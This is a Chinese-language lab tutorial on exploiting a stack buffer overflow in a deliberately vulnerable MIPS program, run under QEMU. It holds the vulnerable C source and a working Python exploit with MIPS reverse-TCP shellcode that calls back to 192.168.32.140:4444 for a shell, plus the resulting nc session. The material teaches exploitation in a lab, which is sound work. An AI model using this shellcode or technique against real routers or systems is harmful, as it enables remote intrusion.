首先,我们编写一个存在缓冲区溢出漏洞的程序,功能比较简单:从passwd文件中读取密码,如果密码为“adminpwd”即有权限执行系统命令“ls -l”列出当前目录,否则提示密码错误后直接退出。
源码vuln_system.c:
#include <stdio.h>
#include <string.h>
#include <sys/stat.h>
#include <unistd.h>
void do_system(int code, char *cmd) {
char buf[255];
system(cmd);
}
void A(char *content) {
char buf[32];
strcpy(buf, content);
printf("buf: %s\n", buf);
if(0 == strcmp(buf, "adminpwd")) {
do_system(0, "ls /");
}
}
void main(int argc, char **argv) {
char buf[1024] = {0};
char ch;
int count = 0;
unsigned int fileLen = 0;
struct stat fileData;
FILE *fp;
if (0 == stat("passwd", &fileData)) {
fileLen = fileData.st_size;
} else {
return 1;
}
if ( (fp = fopen("passwd", "rb")) == NULL) {
printf("Cannot open file passwd!\n");
exit(1);
}
ch = fgetc(fp);
while( count <=fileLen ) {
buf[count++] = ch;
ch = fgetc(fp);
}
buf[--count] = '\x00';
A(buf);
}
在程序中读取passwd文件时,如果文件中的内容长度超过32,多出的部分就会覆盖A函数的栈空间,而在被覆盖的部分就很可能存在A函数保存在栈空间中的备份的ra寄存器的值,如果这个空间被覆盖,那么在A函数返回时,就会使用被覆盖后的值作为返回地址,进而被控制了执行流程。
下面我们使用编译器编译这段代码,这里如需要注意的是,在Ubuntu16.04中使用apt-get安装的编译器版本比较新,在编译时会在目标程序中加入很多防止缓冲区溢出的内存检查指令,所以,这里我们使用的是dlink-619l路由器的编译器来编译这段代码:
$ mips-linux-gcc -static vuln_system.c -o vuln_system
这个编译器可以从dlink open source站点中进行下载,下载地址为:
https://tsd.dlink.com.tw/downloads2008detailgo.asp
在页面中选择dir-619l型号:
点击“go”按钮,然后在页面的末尾处选择对应型号的开源包:
下载好对应的tar.gz包,并在Ubuntu中进行解压。
最后配置好环境变量即可使用这个编译器了:
export PATH=/home/test/Desktop/dir-619l/res/opensource/DIR619_B1_GPL204ESb01/opt/rsdk-1.3.6-4181-EB-2.4.25-0.9.30/linux:$PATH
紧接着,我们向passwd文件中写入超长字符串测试一下:
$ python -c "print 'A'*600" > passwd
$ which qemu-mips-static
/usr/bin/qemu-mips-static
$ cp /usr/bin/qemu-mips-static .
$ ./qemu-mips-static ./vuln_system
qemu: uncaught target signal 11 (Segmentation fault) - core dumped
Segmentation fault (core dumped)
可见,我们得到一个段错误(Segmentation fault)。
为了能够知道程序具体在什么地方引发了这个段错误,我们可以使用qemu使用等待调试的方式启动vuln_system程序,然后通过IDA附加vuln_system进程进行调试:
$ ./qemu-mips-static -g 1234 ./vuln_system `python -c "print 'A'*600" > passwd`
使用IDA保持一路默认打开vuln_system程序:
然后选择“Debugger”菜单-》“Process Option”选项,并配置好IP和端口号:
配置好之后,选择OK按钮。
然后再在菜单栏中选择“Debugger”-》“attach to process”:
这里选择id为0的进程,然后点击ok按钮:
如果能够看到“Successfully”字样的对话框,就说明附加调试成功了。
点击Ok按钮后,我们使用F9快捷键全速运行,就看到IDA检测到程序异常崩溃了:
这时,我们查看崩溃现场时,发现RA寄存器的值已经被覆盖为了0x41414141:
由崩溃现场我们可以知道,程序的运行流程已经被我们劫持到了0x41414141处,而这个0x41就是字符‘A’的十六进制值。而这个0x41414141显然是一个不合法的内存地址空间,所以,才引发了段错误。
因为我们刚刚在passwd文件中直接写入了600个A,以至于程序执行流程被劫持到了0x41414141处时,我们也无法知道具体起作用的是第几个A,所以,为了精确的控制程序的执行流程,我们需要确定是passwd文件中的第几个A在起作用。
首先,我们可以通过静态分析溢出函数的汇编代码得到一些有用信息:
我们可以轻易的看出来ra寄存器是保存到var_4变量中的,而根据strcpy函数调用过程,我们可以反推出var_28实际就是函数A中的buf变量。
所以,我们可以通过简单的计算,比如0x28-0x4=0x24,也就36个字节。
所以我们可以在passwd文件中,填充36个字节的A,然后再填充BBBBCCCC,然后再重复上面的动态调试过程,看看程序的执行流程是否被劫持到了BBBB位置:
由动态调试得到的崩溃现场我们可以知道,我们已经精确控制了程序的运行流程到0x42424242位置。
确定攻击途径
在这里,我们选择上次分享中使用的reverse_tcp这个Shellcode展开攻击,那么接下来的问题就变成如何找到能够劫持执行流程,使其转去执行Shellcode的途径。我们先来看程序崩溃时寄存器及堆栈的情况:
可以看到,在我们构造的数据中,BBBB(0x42424242)覆盖了0x76FFEB5C处保存的返回地址,而在BBBB之后的数据CCCC(0x43434343)继续向后覆盖到了0x76FFEB60处。
因此,在这里我们可以用0x76FFEB60覆盖0x76FFEB5C处的返回值,使程序的执行流程跳转到0x76FFEB60处,而在0x76FFEB60处的数据通过溢出被覆盖为了我们的Shellcode。如此一来,我们构造的Shellcode就能被执行了。
至此,我们已经确定了攻击路径:
需要注意的是,这里直接使用了Shellcode在堆栈中的首地址0x76FFEB60覆盖返回地址,但由于堆栈的变化的,会随着使用的编译器和运行环境的不同而不同,所以读者在测试时需要根据自己的情况修改这个地址。
构建漏洞攻击数据
根据前面的分析,编写了如下测试脚本(exploit-sh.py):
import struct
import socket
def makeshellcode(hostip, port):
host = socket.ntohl(struct.unpack('I', socket.inet_aton(hostip))[0])
hosts = struct.unpack('cccc', struct.pack('>L', host))
ports = struct.unpack('cccc', struct.pack('>L', port))
mipshell = "\x24\x0f\xff\xfa" # li t7, -6
mipshell += "\x01\xe0\x78\x27" # nor t7, t7, zero
mipshell += "\x21\xe4\xff\xfd" # addi a0, t7, -3
mipshell += "\x21\xe5\xff\xfd" # addi a1, t7, -3
mipshell += "\x28\x06\xff\xff" # slti a2, zero -1
mipshell += "\x24\x02\x10\x57" # li v0, 4183 #sys_socket
mipshell += "\x01\x01\x01\x0c" # syscall 0x40404
mipshell += "\xaf\xa2\xff\xff" # sw v0, -1(sp)
mipshell += "\x8f\xa4\xff\xff" # lw a0, -1(sp)
mipshell += "\x34\x0f\xff\xfd" # li t7, 0xfffd
mipshell += "\x01\xe0\x78\x27" # nor t7, t7, zero
mipshell += "\xaf\xaf\xff\xe0" # sw t7, -32(sp)
mipshell += "\x3c\x0e" + struct.pack('2c', ports[2], ports[3]) #lui t6, 0x1f90
mipshell += "\x35\xce" + struct.pack('2c', ports[2], ports[3]) #ori t6, t6, 0x1f90
mipshell += "\xaf\xae\xff\xe4" #sw t6, -28($sp)
mipshell += "\x3c\x0e" + struct.pack('2c', hosts[0], hosts[1]) #lui t6, 0x7f01
mipshell += "\x35\xce" + struct.pack('2c', hosts[2], hosts[3]) #ori t6, t6, 0x101
mipshell += "\xaf\xae\xff\xe6" # sw t6, -26(sp)
mipshell += "\x27\xa5\xff\xe2" # addiu a1, sp, -30
mipshell += "\x24\x0c\xff\xef" # li t4, -17
mipshell += "\x01\x80\x30\x27" # nor a2, t4, zero
mipshell += "\x24\x02\x10\x4a" # li v0, 4170 #sys_connect
mipshell += "\x01\x01\x01\x0c" # syscall 0x40404
mipshell += "\x24\x11\xff\xfd" # li s1, -3
mipshell += "\x02\x20\x88\x27" # nor s1, s1, zero
mipshell += "\x8f\xa4\xff\xff" # lw a0, -1(sp)
mipshell += "\x02\x20\x28\x21" # move a1, s1 # dup2_doop
mipshell += "\x24\x02\x0f\xdf" # li v0, 4063 # sys_dup2
mipshell += "\x01\x01\x01\x0c" # syscall 0x40404
mipshell += "\x24\x10\xff\xff" # li s0, -1
mipshell += "\x22\x31\xff\xff" # addi s1, s1, -1
mipshell += "\x16\x30\xff\xfa" # bne s1, s0, 68 <dup2_loop>
mipshell += "\x28\x06\xff\xff" # slti a2, zero, -1
mipshell += "\x3c\x0f\x2f\x2f" # lui t7, 0x2f2f "//"
mipshell += "\x35\xef\x62\x69" # ori t7, t7, 0x6269 "bi"
mipshell += "\xaf\xaf\xff\xec" # sw t7, -20(sp)
mipshell += "\x3c\x0e\x6e\x2f" # lui t6, 0x6e2f "n/"
mipshell += "\x35\xce\x73\x68" # ori t6, t6, 0x7368 "sh"
mipshell += "\xaf\xae\xff\xf0" # sw t6, -16(sp)
mipshell += "\xaf\xa0\xff\xf4" # sw zero, -12(sp)
mipshell += "\x27\xa4\xff\xec" # addiu a0, sp, -20
mipshell += "\xaf\xa4\xff\xf8" # sw a0, -8(sp)
mipshell += "\xaf\xa0\xff\xfc" # sw zero, -4(sp)
mipshell += "\x27\xa5\xff\xf8" # addiu a1, sp, -8
mipshell += "\x24\x02\x0f\xab" # li v0, 4011 # sys_exec
mipshell += "\x01\x01\x01\x0c" # syscall 0x40404
return mipshell
if __name__ == '__main__':
print '[*] prepare shellcode',
cmd = "sh" #command string
cmd += "\x00" * (4-(len(cmd) % 4)) #align by 4 bytes
#payload
payload = "A"*0x24 #padding buf
payload += struct.pack(">L", 0x76FFEB60) #PC
payload += makeshellcode('192.168.32.140', 4444)
print ' ok!'
#create passwd file
print '[+] create passwd file',
fw = open('passwd', 'w')
fw.write(payload)
fw.close()
print ' ok!'
运行这个python脚本,生成passwd文件:
test@ubuntu:~/Desktop$ python exploit-sh.py
[*] prepare shellcode ok!
[+] create passwd file ok!
在192.168.32.140的Ubuntu系统中使用nc命令监听4444端口:
test@ubuntu:~/Desktop$ nc -lp 4444
使用qemu执行vuln_system程序:
test@ubuntu:~/Desktop$ ./qemu-mips-static ./vuln_system
查看nc命令窗口是否可以获取到shell:
test@ubuntu:~/Desktop$ nc -lp 4444
ls /
bin
boot
cdrom
dev
etc
home
initrd.img
lib
lib64
lost+found
media
mnt
opt
proc
root
run
sbin
snap
srv
sys
tmp
toolchain
usr
var
vmlinuz
id
uid=1000(test) gid=1000(test) groups=1000(test),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
由上面的nc命令执行结果处,我们可以知道,由于我们精心构造了一个passwd文件,使得vuln_system程序在读取并解析这个passwd文件时产生了缓冲区溢出,进而使我们构造的Shellcode得到了执行权限。
在下次的分享中,我们将介绍基于ROP chain的方式而非单纯的Shellcode方式对缓冲区溢出漏洞进行利用。
希望本次的分享能够为你带来帮助,谢谢大家。